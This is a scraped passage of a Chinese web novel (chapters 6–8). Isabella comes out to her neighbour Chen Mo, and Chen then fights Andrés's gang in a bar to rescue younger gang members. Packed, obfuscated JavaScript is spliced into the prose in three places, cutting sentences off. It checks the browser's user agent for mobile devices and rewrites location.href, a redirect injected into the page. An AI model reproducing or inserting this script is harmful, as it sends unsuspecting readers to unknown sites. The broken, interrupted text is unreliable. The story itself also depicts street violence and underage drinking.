下一秒陈漠的手机又震了一下。一张照片,伊莎贝拉和Biscuit的合影,女孩的卷发和狗的金毛混在一起,背景是那面淡紫色的墙和画架上没完成的素描。 “现在你手机里有我的照片了,”伊莎贝拉把手机往床上一丢,双手撑着床垫,身体微微朝陈漠的方向倾过去,“以后要是在学校找不到我,就发消息。要是安德烈斯又来找麻烦,也发消息。要是你训练回来经过便利店肚子饿了……”她顿了顿,眼睛弯起来,“这个你就发不了消息了,直接敲门就行。” 陈漠看着手机屏幕上那张照片,沉默了两秒,按灭屏幕,手机塞回裤子口袋里。 “你为什么一定要跟我保持联系?”她问。 这句话问得很平,语气和表情都没有任何攻击性,但问题本身是直接的,直接到伊莎贝拉伸向Biscuit的手在空中停了一瞬。 伊莎贝拉低头挠了挠Biscuit的下巴,卷发垂下来挡住了半张脸。过了几秒她抬起头,把头发撩到耳后,看着陈漠,表情不像刚才那样嬉闹了,像是在想一个合适的说法。 “因为你跟这条街上的其他人不太一样。” “哪里不一样?” “说不上来。”伊莎贝拉的手指在Biscuit的背上画着圈,“就是……你看着像是什么都不怕,什么都不在乎,但昨天你蹲在地上摸Biscuit的时候,那个表情完全不是这么回事。” 她抬起眼睛看着陈漠,“我就是觉得,你大概需要有人跟你说话。不是找你打架,也不是找你送货,就是单纯地说说话。而我刚好话很多。” 6. 第 6 章 房间里安静了一会。 陈漠垂下眼睛,手指蜷了蜷,指关节上缠着的绷带在Biscuit的金色毛发间显得格外扎眼。 她不是没有被人说过类似的话。在学校里,在街区里,偶尔会有女生用一种不太一样的眼神看她,带着一点打量,一点好奇,还有一点说不清道不明的试探。但她从来没有认真去回应过,或者说,她从来没有让自己停下来去想过这些事。生存已经够累了,她没有多余的精力去琢磨自己到底喜欢什么样的人,或者什么样的人喜欢她。 可伊莎贝拉刚才那几句话,不太一样。太直接了,直接到不像是在暗示什么,更像是把一块石头翻过来,让你看下面藏着不见光的东西。 这种话从别人嘴里说出来可能会显得冒犯,可从伊莎贝拉嘴里说出来,配着她那个梨涡和深棕色的眼睛,就变成了一种让人不知道该怎么接的坦率。 陈漠的喉咙动了一下。她不太确定自己应该说什么。谢谢?太轻了。问她到底什么意思?太蠢了。她张了张嘴,最后什么都没说出来,继续揉Biscuit的耳朵,动作比刚才用力了一点。 她的目光在房间里游移,试图找一个安全的地方落脚。 然后她的余光扫到了床头柜。 床头柜是白色的,和床架是一套,造型很简单,上面放着一盏小台灯,灯罩是米色的亚麻布,灯光从里面透出来的时候会在墙上投下一圈暖黄色的光晕。台灯旁边摞着两本书,最上面那本的封面是一只手绘的蜂鸟。书旁边是一个透明的玻璃杯,杯子里插着几支彩色铅笔。 玻璃杯的后面,靠近床头柜最里侧的位置,放着几个花花绿绿的小盒子。盒子不大,大概只有火柴盒那么宽,但更长一些,颜色很鲜艳,有粉色的,有薄荷绿的,有淡紫色的,每个盒子上面都印着一行英文字母,字体圆滚滚的。 陈漠的英语阅读能力足够让她在两秒之内认出了那行字。 她的手指在Biscuit的耳朵上停住了。 指套。润滑的。草莓味。薄荷味。还有无味的。 她活了十六年,当然见过这些东西。第六街区的便利店货架上就有,和口香糖、打火机、香水放在一起,收银台旁边的那个小货架上,每次结账的时候都能看到。她也知道学校里一些女生会用,甚至有人在储物柜里藏过几盒,被教务处没收的时候还闹了一场不大不小的风波。但知道是一回事,在伊莎贝拉的床头柜上看到这些东西,是另外一回事。 她的第一反应是移开目光,脑子里乱成了一锅粥。 伊莎贝拉的房间。床头柜上有几盒指套,草莓味的,薄荷味的,还有无味的。这些东西就那么明晃晃地放在台灯旁边,好像在说“我不怕被人看到”。 她为什么不怕被人看到?是不是因为,她根本就没想过会有别人进她的房间?不对,我现在就坐在这里。那她为什么不提前收起来?是不是觉得我不会注意到?还是说,她根本就不在意让我注意到? 这个念头一冒出来,陈漠的心跳就开始失控了。 伊莎贝拉对她好,给她留饭,帮她解围,非要送她到家门口,非要拉着她进房间,非要问她Instagram,这些单独来看每一件都只是友好,但串在一起,再加上床头柜上那些花花绿绿的小盒子,就开始让陈漠不由自主地在脑子里拼凑出一个图景。 伊莎贝拉是不是,对她有意思? 这个想法一冒出来,陈漠几乎是条件反射性地在心里给了自己一巴掌。 别自作多情了。 她的余光不受控制地又往床头柜的方向偏了一下。几个小盒子上面的英文字母清清楚楚。这回她注意到盒子上的品牌标识下面还有一行小字,写的是“dental dam”和“finger cot”,旁边还印着小小的图标,一个是指套的示意图,另一个是某种薄片状的。 行了别看了。 她在心里把自己吼了一嗓子,强迫自己把视线收回来,落在Biscuit的头顶上,手指插进金毛厚实的毛发里,一下一下地顺着毛的方向捋。 伊莎贝拉注意到了。 她从一开始就注意到了。 事实上,她一直在等这个瞬间。 从陈漠在停车场替她挡开安德烈斯的那一刻起,伊莎贝拉就一直在观察这个沉默寡言的高个女孩。准确地说,她从更早之前就开始观察她了。七年的邻居,无数次在街角和便利店的偶遇,她见过陈漠穿着校服从她家门口经过,见过陈漠深夜里拖着疲惫的脚步回来,见过陈漠蹲在地上摸Biscuit时候那个跟平时判若两人的表情。她见过陈漠很多面。 她很清楚自己在做什么。 床头柜上几盒指套不是不小心放在那里的。她今天早上出门之前,专门把它们从抽屉最里面翻出来,整整齐齐地摆在台灯旁边。位置是她计算过的,不会太显眼,不至于让人一进门就看到,也不会太隐蔽,只要坐在床沿上稍微偏一下头就能扫到。陈漠刚才就是那个角度。 伊莎贝拉知道自己在做什么,但她不知道自己做得到底对不对。她从来没有跟任何人出过柜。在这个街区,在这所学校,在她的家庭里,同性恋这三个字就像一颗没有引爆的炸弹,谁也不知道它会在什么时候炸开,也谁也不知道爆炸之后会波及多少人。罗莎是个虔诚的天主教徒,客厅墙上那个十字架不是装饰品,她每周日都会去教堂做弥撒,饭前会闭眼祷告,她的信仰就像她血液里流淌的拉美血统一样根深蒂固。伊莎贝拉不敢想象如果她妈知道了,会怎么样。 所以她一直藏着。 可她现在不想再藏了。 四年了。从她八年级那年夏天在夏令营里第一次意识到自己会盯着女生的泳衣发呆开始,到现在已经整整四年了。她交过男朋友,两次,都是学校里那些追求她的男生,长得都不差,性格也不坏,但她跟他们在电影院里接吻的时候,心里想的是这跟两片生肉碰在一起有什么区别。她没有交过女朋友。她甚至不知道这个世界上有没有和她一样的拉美裔女同性恋。在她的认知范围里,这个词后面跟着的刻板印象是白人男同性恋,或者电视上那些打扮中性的白人女同性恋,和穿着格子衬衫的短发女生,和彩虹旗游行,和旧金山。 但她知道自己是什么。 她喜欢女生。具体来说,她喜欢那种话不多,肩膀很宽,能把一个比她壮两圈的人揍趴下,摸狗的时候手指温柔得不像话,满身都是伤,满眼都是倔强,让她看一眼就忘不掉的那种女生。 她不确定这种喜欢到底算不算一见钟情。她们做了七年邻居,她以前从来没有往那个方向想过。但最近这一年,尤其是最近这几个月,陈漠的身高蹿上来,肩膀宽了,下颌线条变硬了,走在街上开始有一种让人移不开眼的沉静气质,伊莎贝拉每次从窗户里看到她经过,心里都会有一个很小的声音在说:“你盯着人家看什么呢。”她一开始没有回答这个声音,后来她回答了。那个答案是,我在看她。我就是想看。我想看很久了。 昨天晚上她专门去便利店买了几盒指套。因为她想试探。这些指套就是一个信号,一个被摆在明面上的信号。如果陈漠看到了,而且反应异常,那至少能说明陈漠知道这些东西的用途,至少能说明陈漠的脑袋里有这根弦。对伊莎贝拉来说,这就够了。足够让她判断自己是不是在自作多情。 而现在,陈漠的反应告诉她,她不是在自作多情。 陈漠反应太明显了。先是一愣,然后目光弹开,整张脸开始红,红得连耳朵尖都跟着变色,假装什么都没看到,手指在Biscuit的背上抓得节奏全无。这一切都发生在短短几秒之内,而伊莎贝拉在一边,靠在床头,深棕色的眼睛一眨不眨地旁观完了全程。 脸红,完全不受控制,生理性的害羞。 这种反应只可能来自一种人,那些知道这些东西在同性之间意味着什么的人。普通人看到指套,顶多想到保护措施,不会脸红,脸红的都是脑子里已经拐了好几道弯的。 伊莎贝拉的嘴角慢慢地翘了起来,“You saw those。” 这是陈述句。声音不大,语气也不咄咄逼人,慢悠悠的,可在这间安静的房间里,在这张软得不像话的床上,在Biscuit的尾巴扫过木地板的沙沙声中,这句话就像是往平静的湖面上投了一颗石子。 陈漠:“……” “你看到那些了。”伊莎贝拉又说了一遍,这次她的声音里带着一点笑意,尾音上扬。 “我看到什么了?”陈漠低着头,声音干巴巴的,语气里是显而易见的逞强。 “床头柜上。”伊莎贝拉说,“草莓味的那种。” 这几个词在空气里停留了大概两三秒。 陈漠的耳朵红得已经不像话了,耳垂一路蔓延到耳廓顶端,她的下颌线绷得很紧,嘴唇抿成一条直线,整个人保持着低头摸狗的姿势。她从来没这么窘迫过,在拳场上被人踢到肋骨她没脸红,在停车场一对二打架她没脸红,被丁哥当着十几个人的面骂她都没脸红。 伊莎贝拉把这一切都看在眼里。 她从床沿上滑了下来,赤脚踩在地板上,走到床头柜旁边,拨了一下那几个花花绿绿的小盒子,拿起其中一个,粉色的那个,在手里翻了个面,看了一眼包装背后的说明,抬起头看着陈漠。 “我故意放在那里的。”伊莎贝拉说。 这句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她想过这个可能。刚才那几秒钟的工夫里,她的脑子已经把所有可能性都跑了一遍,包括这个。但想过和真正听到是两回事。当伊莎贝拉站在她面前,用那双深棕色的眼睛看着她的眼睛,用她那种带着西语腔的英语把这句话一字一句地说出来的时候,陈漠发现自己所有的冷静和防备都像纸糊的一样,被这句话轻轻一戳就破了。 她张了张嘴,想说什么,但喉咙里像是被什么东西堵住了,一个字都发不出来。 脸又开始发烫了,十六岁的人生里唯一擅长的是面对拳头和恶意,面对这种坦荡的喜欢,她发现自己完全不知道该怎么应对。 伊莎贝拉看出了她的紧张。事实上,陈漠紧张得都快把Biscuit的毛揪下来了,金毛在她腿边委屈地呜了一声,她都没注意到。伊莎贝拉笑了一下,退后半步,给了她一些空间。 “你不用现在就回答我,这又不是考试,我就是不想再藏了,太累了。” 陈漠低下头,去揉Biscuit的耳朵,金毛被揉得舒服地眯起了眼睛,尾巴在地板上慢悠悠地扫着。 过了大概有十秒钟,她开口了。 “我……”她顿了顿,皱了一下眉,在斟酌措辞,“我不太确定自己是什么。我没想过这些,真的没想过。但我没有不舒服,也没有觉得你奇怪。” 伊莎贝拉心想,这就够了。 你接住了,你没有跑,没有说“对不起我要回家了”,没有尴尬地转移话题,你坐在我的床上,摸着我的狗,红着一张脸告诉我你没有不舒服。 对于她而言,这已经是最好的答案了,比她想象中的最好还要好。 厨房里传来罗莎洪亮的声音,用西班牙语喊了一句“吃饭了!”锅铲在铁锅里敲了两下,发出当当的声响,紧接着是一阵碗碟碰撞的叮叮咣咣。 Biscuit一听到厨房的动静立刻从陈漠腿边弹了起来,四条腿在地上打了个滑,一溜烟地冲出房间,尾巴在门框上撞了一下,发出砰的一声闷响。 伊莎贝拉被这个动静逗得笑出了声,她走到房门口,回头看着还坐在床沿上的陈漠,“走,我妈做了炖菜,保证比你便利店的三明治好吃。” 陈漠站起来,往下扯了扯外套,整理了一下被揉得有些发皱的衣角。走到房门口的时候,伊莎贝拉靠在门框上,歪着头看她。 “Hey, Chen。”她说。 陈漠停下脚步。 伊莎贝拉伸出手,拈起陈漠领子上沾着的一根狗毛,指尖在陈漠的锁骨上方划过了一瞬,触感很轻很短暂,轻到像是被蝴蝶的翅膀扫了一下,短暂到不到一秒就收回了手。 然后她转身往楼下的方向走,嘴里哼起了一首西班牙语的老歌,是罗莎刚才在厨房里哼的那首,调子起起落落。 陈漠站在房门口,抬手摸了一下自己的锁骨上方,被指尖划过的地方。 楼下传来伊莎贝拉的声音,又脆又亮,带着笑意:“Chen,你到底来不来?我妈炖的牛肉冷了就不好吃了!” 7. 第 7 章 伊莎贝拉家的餐桌是一张深棕色的实木长桌,桌面上铺着一块红白格子的防水桌布。桌上摆着一口深口炖锅,锅里的牛肉炖得酥烂,汤汁浓稠,胡萝卜块和土豆块在深红色的汤里浮浮沉沉,散发着混合了小茴香、牛至和月桂叶的复合香气。旁边是一盘玉米饼,热气腾腾地摞成小山,再旁边是一盆蔬菜沙拉,生菜叶子上挂着水珠,番茄切得厚薄均匀。 罗莎给陈漠盛了满满一碗,碗边搁了两张玉米饼,又往她面前推了一小碟自己调的辣酱,嘱咐她多吃点,太瘦了。伊莎贝拉在对面坐下,拿起勺子的时候冲陈漠眨了眨眼,那个表情像在说,怎么样,我妈厉害吧。 陈漠端起碗,用勺子舀了一口炖牛肉送进嘴里。 她已经很久没有坐在一张真正的餐桌旁边,吃一顿不是自己用微波炉热出来的饭了。便利店的三明治是冷的,中餐外卖店的剩菜是软的,周秀兰做的菜总是匆匆忙忙的,陈国栋吃饭的时候永远是一个人坐在厨房里。而这里,桌上摆着炖锅和玉米饼,罗莎在厨房和餐桌之间来回端东西,Biscuit在桌底下钻来钻去。 她咽下去牛肉,低头继续吃。 罗莎坐在桌子另一头,一边往自己的碗里舀汤一边问陈漠最近是不是又在外面打架了,她爸妈知不知道这事。陈漠一一回答。罗莎听完点了点头,用西班牙语嘀咕了一句什么,伊莎贝拉帮她翻译:“我妈说让你以后多吃点,天天打架还不多补充营养,你腿上的骨头迟早要断。” “那不是打架,”陈漠说,“是训练。” “训练就是把别人往死里打,然后被别人往死里打。”伊莎贝拉咬了一口玉米饼,嚼着嚼着忽然用勺子指着陈漠的碗,“你连辣酱都没放,我帮你加。” 她伸手拿过那碟辣酱,舀了一勺浇在陈漠的碗里。 陈漠还没来得及阻止,就看见深红色的辣酱在炖牛肉的汤汁里化开。她低头吃了一口,辣味直冲鼻腔,比她习惯的川味辣椒还烈,呛得她眯了一下眼睛。 伊莎贝拉托着腮看她,“怎么样?” “……还行。”陈漠的声音哑了半拍。 伊莎贝拉笑得前仰后合。 饭吃得很慢。准确地说,是陈漠吃得很慢,因为她一边吃一边在应付罗莎连珠炮似的提问和伊莎贝拉时不时夹过来的菜。罗莎问她在学校学什么,她说数学和生物。罗莎问训练累不累,她说还行。罗莎问她有没有男朋友,她差点被一口汤呛死。伊莎贝拉在旁边大声喊“?Mamá!”,罗莎无辜地摊了摊手,说只是随便问问。 就在这时候,陈漠口袋里的手机震了。 一下,很轻,贴着她的大腿外侧嗡了一声。她没动,勺子继续往嘴里送。然后是第二下,第三下,震动连续不断,嗡嗡嗡地震得裤子口袋都跟着抖了起来。 是电话。 陈漠放下勺子,裤兜里掏出手机,屏幕亮着,来电显示是一串本地号码,没有存联系人。 她的眉头皱了一下。 这串数字她见过,是丁哥手底下另一个跑腿的小子常用来联系她的号码。那个小子叫周彦,十七岁,也是华人,瘦得像根竹竿,说话带着浓重的福建口音,跑起来贼快。丁哥那帮半大不小的孩子里头,周彦是最早跟着丁哥的,资格最老,但他胆子小,从来不敢单独惹事,平时见到陈漠都是远远地就叫一声“漠姐”,叫得又响又谄媚。 周彦从不会主动给她打私人电话。 拇指在屏幕上悬了一秒,她划向接听。 手机贴到耳边,还没开口,听筒里就炸出一片嘈杂的噪音。音乐声震耳欲聋,重低音碾过耳膜的酒吧舞曲,夹杂着玻璃碎裂的脆响,金属碰撞的咣当声,以及好几个人叠在一起的叫骂。在所有这些噪音之上,周彦几乎是贴着话筒在喊,声音又尖又急。 “漠姐!漠姐你在不在,操,他妈的我跟你说,我们在第九街区的那个铜钉,就是那个酒吧,有人堵我们,是他们先动的手,我们什么都没干,真的,我们就是想进去喝点东西……” 他那边传来一声巨响,像是一张椅子被砸在墙上碎了,紧接着是另一个男生声嘶力竭的吼叫声,夹杂着西语脏话。 周彦的声音更急了:“是安德烈斯带的人,还有他那个汽修铺的几个,还有两个我们不认识,好像是第九街区那边的,漠姐你在哪?你能不能过来?小李被啤酒瓶砸了头,流了好多血……”电话那头爆出一阵玻璃碎裂的脆响,周彦的声音被吞掉了半秒,又冲出来,“丁哥电话打不通!我给丁哥打了好几个了他没接……漠姐求你了你过来一趟……” 震耳欲聋的一声闷响。 周彦的声音突然没了,电话里只剩下重低音舞曲的轰鸣和叫骂声。 “周彦?”陈漠对着话筒喊了一声,没有回应。她把音量键按到最大,贴着耳朵仔细听。 几秒之后,一个陌生的声音从电话那头传过来,西语口音浓重的英语,每个单词都像是从牙缝里挤出来的。 “Your little friends are in trouble, sweetheart。”那个声音慢悠悠地说,背景里隐约能听到有人在用西语喊叫,还有一声闷哼,应该是谁挨了一拳。 “Tell your gym teacher,Songpong, whatever,tell him we said hello。第九街区和第六街区的账,该算算了。And you,you broke someone’s shoulder last month。You think that was free?” 两秒之后,陈漠按了挂断键,手机翻了个面,点进联系人,找到颂蓬的号码,发了条短信,只有四个字,“铜钉九区”。 发完她把手机揣进兜里,站起来。 “出了点事,我得走。” 伊莎贝拉在她站起来的第一时间就抬起了头。她注意到陈漠的表情,注意到她面沉如水,注意到她放下筷子的手没有一丝颤抖,注意到她说“出了点事”的时候,声音和平时在停车场跟安德烈斯说话一模一样。 “什么事?” 陈漠已经走到客厅了,伊莎贝拉跟在她后面站起来。 罗莎从厨房门口探出头,手里还端着一盘刚切好的水果,看到陈漠大步往门口走,愣了一下:“怎么了?怎么吃到一半……” “谢谢您,饭很好吃,我有点急事。”陈漠在门廊换鞋的时候手很稳,鞋带系得飞快,系完站起来,推开了纱门。 伊莎贝拉追到了门廊,左手撑在门框上:“等等。” 刚才在房间里她说过的话,那些关于隐忍和勇气的话,还悬在她们之间的空气里。 现在她知道陈漠要去哪里了。第九街区。铜钉酒吧。那里在第六街区的人嘴里有个别名叫流血地,警察一周去三次,每次都从后巷抬出几个断手断脚的。所有街区之间的旧账都在那里清算,因为那是唯一一个没有摄像头,没有保安,没有任何人会报警的地方。 “早点回来。我家的门虚掩着。” 陈漠点了头。转身,下了台阶,沿着第六街区那条坑坑洼洼的人行道往第九街区的方向跑去。 经过便利店的时候,老板娘正蹲在门口擦冰柜,抬起头想跟她打招呼,只看见一个高瘦的背影在街角拐了个弯,马尾在脑后甩出一道凌厉的弧线。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523280|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>八月的夜幕来得快。正午还是艳阳高照,这时候西边的天空已经暗成了灰紫色,街灯开始一盏接一盏地亮起来。路过栋被火烧了一半的废弃房屋时,蹲在墙角的几个流浪汉抬头看了她一眼,又事不关己地低下去。 陈漠一边跑一边从兜里摸出手机,又给颂蓬发了一条消息,这一个的字更少,“到了没”。 颂蓬没回。 她把手机塞回口袋,加快了速度。 第九街区和第八街区之间只隔着一条四车道的马路,这条马路就是洛根市画在地图上的裂谷。第八街区这边是破旧的木结构住宅,街灯昏黄,偶尔有几家门口种着勉强算整齐的灌木。第九街区那边是一排又一排的低矮商业房,汽车修理铺、当铺、一元店、挂着铁栅栏的烟酒店,所有的招牌都用最便宜的霓虹灯管拼成,红的光绿的光蓝的光乱七八糟地叠在一起,街面照得光怪陆离。 铜钉酒吧就在第九街区正中间的那条巷子里,没有招牌,门口只有一个铁皮垃圾桶和一根歪斜的电线杆,杆子上被人喷了一个铜色的钉子图案,铁门上连门把手都没有,就是一块铁皮,推开就是另一个世界。 陈漠到的时候,酒吧门口已经围了几个人,都是住在附近的,伸着脖子往里看热闹,但没有一个敢靠近那扇铁门。铁门虚掩着,里面传出重低音舞曲的轰鸣,以及玻璃碎裂的脆响。 陈漠三步并作两步走到铁门前,侧着肩膀顶开铁皮门,闪身钻了进去。 入口是一条短窄的走廊,灯光暗得像进了地下道。走廊尽头是一个开阔的大厅,烟雾缭绕,霓虹灯管在头顶上闪着诡异的紫红色光。DJ台还在放着舞曲,台前已经没有人跳舞了,桌椅倒了一地,地板上散落着碎玻璃和打翻的啤酒瓶,泡沫混着液体在地砖缝隙里流淌。 大厅正中央围着一圈人。 一圈站着的围着一圈蹲着的。 蹲在地上的有三个,陈漠一眼就认出来了。周彦蹲在最左边,左眼眶肿得只剩一条缝,嘴角挂着血丝,校服袖子被扯掉了一半。中间是小李,一个十四岁的瘦弱男孩,平时负责在街角放风,脑袋上裹着一件不知道谁脱下来的T恤,T恤已经被血浸透了,暗红色的血顺着他的脖子往下淌,滴在地砖上。最右边是小胖,十六岁,比陈漠还壮,此刻他抱着一条胳膊缩在地上,胳膊从肘关节往下以一个不正常的角度弯曲着。 站在他们周围的人有七八个,手里抄着啤酒瓶、拆下来的桌腿、铁管。为首的那个陈漠认识,红头发女生的亲哥哥,今天中午在停车场被她一句话逼退的安德烈斯。他比中午看起来更像个混子头,身上灰色连帽卫衣的兜帽已经套上了,脸在霓虹灯下清清楚楚,嘴角挂着一抹发了狠的笑。 “So you actually came。”安德烈斯转过身,双手一摊,啤酒瓶在他右手上晃了晃,瓶底还挂着碎玻璃碴。 陈漠呼吸是稳的,手指是稳的,心跳甚至比刚才在伊莎贝拉家吃饭时还要慢,因为吃饭的时候她在面对一个她不知道该怎么回答的问题,而在这里,她知道答案。 “丁哥在来的路上,颂蓬也在。你想等他们来处理,还是我们现在就把这件事了了?” 安德烈斯笑了一声,手里的啤酒瓶往地上一摔,玻璃渣在陈漠脚边炸开。 “?Crees que me asustas?”你以为你能吓到我? 陈漠看着他的眼睛,说的是西班牙语“No。” 她往前迈了一步。 “Pero ellos tres están sangrando。Y eso lo vas a pagar。”但他们三个在流血。而你要为此付出代价。 8. 第 8 章 话音落下的同时,大厅后侧的铁皮门被人从外面一脚踹开,发出震耳欲聋的一声巨响。 所有人的目光都往那个方向偏了一瞬,就这一瞬,陈漠动了。 颂蓬教过她,街头混战的第一条规则:永远不要在对手准备好的时候出手。第二条规则:如果你必须出手,那就用最快的速度解决站得最近的那个人。 站得最近的是安德烈斯左手边一个抄着桌腿的壮汉。陈漠的右脚已经扫了出去,胫骨扫在他膝盖外侧,发出一声闷响。壮汉的腿一软,身体歪向一侧,陈漠的肘已经等在他脑袋落下的轨迹上了。 肘尖砸在颧骨上,血溅了她一袖子。 壮汉连一声都没来得及出就趴在了地上。 铜钉酒吧的大厅里安静了半秒,随后炸开了锅。 安德烈斯骂了一句西语脏话,他身边的人同时扑了上来。陈漠往后撤了半步,后背撞上一张翻倒的桌子,她抄起桌腿横在身前,挡开了第一根挥过来的铁管。铁管撞在桌腿上,震得她虎口发麻,她没有硬接,侧身让过,同时膝盖往上顶,顶进对方的小腹,又狠又准。颂蓬说过,膝盖是人体最硬的武器,去打对方最软的地方,这就是效率。 第三个人倒下去的时候,铁门那边的脚步声已经逼近了大厅中央。 颂蓬来了。 他穿了一件洗得发白的T恤,脚上趿拉着一双人字拖,身后跟着丁哥和三个红蚁的人,丁哥嘴上叼着一根没点燃的烟,脸色铁青。 颂蓬扫了一眼大厅里的场面,花了几秒的时间看清陈漠站在哪里,地上躺着几个人,血流了多远。然后他看向安德烈斯,语气平淡得像在聊天气。 “你带了八个人来打三个孩子,现在你手下有三个人被一个十几岁的女孩打倒在地上。你是想继续打,还是想谈谈?” 安德烈斯的脸在霓虹灯下变了几个颜色。他看了一眼地上趴着的同伙,又看了一眼门口的丁哥和颂蓬。他知道颂蓬是谁,第九街区和第六街区每一个在地下拳场混过的人都知道颂蓬是谁。 “This isn’t over。”他把手里的铁管往地上一扔,铁管砸在地砖上咣当一声,冲自己的人挥了挥手,转身从大厅后侧的另一扇门走了。 大厅里站着的只剩下红蚁的人,躺着的三个都是第九街区的。 手里的桌腿扔到一边,陈漠走到周彦面前,蹲下去,伸手扶起他的下巴看了一眼。眼眶肿了,但眼珠能动,不是脑震荡。 “还能走吗?” 周彦点了点头,嘴唇哆嗦着,眼眶里有什么东西在打转,硬是没掉下来。 陈漠站起来,转向丁哥。丁哥已经把嘴里那根烟点上了,吸了一口,烟雾从他的鼻孔里喷出来,在霓虹灯下变成一团紫色的雾。 “你一个人来的?”丁哥问她。 “有人叫我来的。”陈漠说。 丁哥看了她几秒,点了一下头。 铜钉酒吧的舞曲被人关掉。 颂蓬趿拉着人字拖走到大厅中央,在唯一一张还立着的吧台凳上坐了下来。他从裤兜里掏出一包皱巴巴的烟,抽出一根叼在嘴里,没点,就那么叼着,眯着眼睛看着蹲在地上的三个半大孩子。 丁哥已经让人把前后门都守住了。红蚁的人三三两两地站在大厅里,有的在扶桌椅,有的在低声说话,没有人去碰地上那摊血,在这个地方,血迹比啤酒渍更常见,第二天天亮之前自然会有人来拖干净。 “周彦。”颂蓬开了口。 周彦蹲在地上,左眼眶已经肿成了一个青紫色的核桃,嘴角的血干了,结成了一小道暗红色的痂。他听到颂蓬叫他的名字,整个人抖了一下,像是被老师点到名的差生,条件反射地想站起来,腿却软了一下,又蹲了回去。 “坐着说,”颂蓬冲他抬了抬下巴,“别站起来了。” 丁哥靠在吧台边上,手指夹着烧了一半的烟,目光从陈漠身上扫到周彦身上,又从周彦身上扫到门口,表情不太好看。他的人被堵了,三个半大不小的孩子被八个成年人围着揍,这事要是传出去,红蚁在第六街区的脸面就等于被人踩在地上碾了两脚。他现在需要知道一件事,安德烈斯为什么动手。 “从头说,”丁哥弹了一下烟灰,“你们三个为什么跑铜钉来?” 周彦舔了一下嘴角的伤口,疼得嘶了一声。他看了一眼旁边的小李和小胖,小李头上的T恤已经被换成了陈漠从吧台后面扯来的一块干净毛巾,血暂时止住了,整张脸白得像纸。小胖抱着那条断了的胳膊,嘴唇咬得死死的,额头上全是冷汗。 “我……我们就是想喝点东西,”周彦的声音又干又哑,“今天放学早,小李说第九街区这边有个酒吧不查ID,我们就过来了。真的,哥,我们就是想喝点东西,别的什么都没干。” “别的什么都没干?”丁哥的眼睛眯了起来。 “没干!”周彦急得声音都劈了,“我们连话都没跟别人说,就坐在角落那个卡座里头,一人点了一瓶啤酒,还没喝到一半,安德烈斯就带人过来了。” “他带了几个?”颂蓬问。 “八……八个吧?最开始是四个,后来又从后门进来了四个。” “他跟你说了什么?” 周彦的表情变了,“他说……他说这里不欢迎你们这种人。” “你们这种人,”颂蓬重复了一遍,语气很平,“哪种人?” 周彦抬起头,看了颂蓬一眼,又看了看丁哥,嘴唇哆嗦了两下,没说出来。 旁边的小李替他接了话。十四岁的男孩声音又细又弱,因为失血过多发着抖,“他说chino de mierda,说了好几遍。还让我把桌子底下的东西捡起来。” “桌子底下有什么?” “什么都没有,”周彦接过话头,声音比刚才大了一点,“他就是故意把啤酒瓶踢到桌子底下,然后让小李爬过去捡。小李不捡,他就把一整杯啤酒倒在他头上。我……我就站起来了,我说我们什么都没干,你干嘛找我们麻烦,然后安德烈斯就说……” 他又卡住了,嘴唇动了动。 “他说那个叫陈漠的bitch打断了我妹妹的骨头,你们他妈的红蚁的chino崽子还敢来我的地盘喝酒。就这句,我记得清清楚楚。” 大厅里安静了两秒。 半截烟掐灭在吧台上,烟头在木台面上烫出一小圈焦痕,丁哥偏过头,看了一眼陈漠。 陈漠站在周彦旁边,袖子上的血迹已经干了,脸上没有任何表情。上个月停车场那件事她确实动了手,安德烈斯的妹妹确实断了锁骨,这是事实,她不打算为事实辩解什么。 丁哥转向颂蓬,用泰语说了一句什么。 颂蓬听完,拿下来嘴里那根烟,夹在食指和中指之间,在吧台上轻轻磕了两下。 他低着头,沉默了一会,站起来。 人字拖踩在碎玻璃上发出咯吱咯吱的声响,他走到周彦面前,弯下腰,托起周彦的下巴,左右转了转,检查了他脸上的伤,又走到小李跟前,掀开他头上的毛巾看了一眼,伤口还在渗血,但不算太深,不需要缝针。最后他走到小胖身边,目光落在小胖那条以不正常角度弯曲的手臂上,他伸手捏了捏肘关节的位置,小胖疼得闷哼了一声。 “断了,”颂蓬直起身,“得去医院。” 丁哥冲门口的一个手下打了个手势,那人点了点头,走过来把小胖从地上架起来,半拖半扶地往后门走。 “你们俩也走,”丁哥指了指周彦和小李,又指了指另一个手下,“带他们回修车厂,让老吴给他们处理一下。别走正门,走后面的巷子。” 周彦被扶起来的时候,脚步踉跄了一下,走到陈漠身边的时候停了一秒。他抬起那张被揍得面目全非的脸看着陈漠,嘴唇动了半天,最后挤出来的是三个字。 “谢谢你。” 陈漠:“走吧。” 周彦被扶着从后门出去了。小李小胖也跟着走了。大厅里只剩下了红蚁的核心几个人,丁哥,颂蓬,陈漠,还有丁哥手下一个叫阿光的。 颂蓬重新坐回吧台凳上,烟塞回烟盒里,抬头看着丁哥,“安德烈斯是卡车司机工会的人,不是正式成员,外围的。他那个汽修铺的老板是工会的一个小头目,专门帮工会处理报废车辆。安德烈斯手下那几个人,也都是工会外围的喽啰,平时在第九街区收几家店的保护费,跟铜钉的老板也认识,所以他才敢在这里堵人。” 丁哥点了一下头,没插话。 “卡车司机工会跟我们红蚁是井水不犯河水,”颂蓬继续说,“他们的势力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 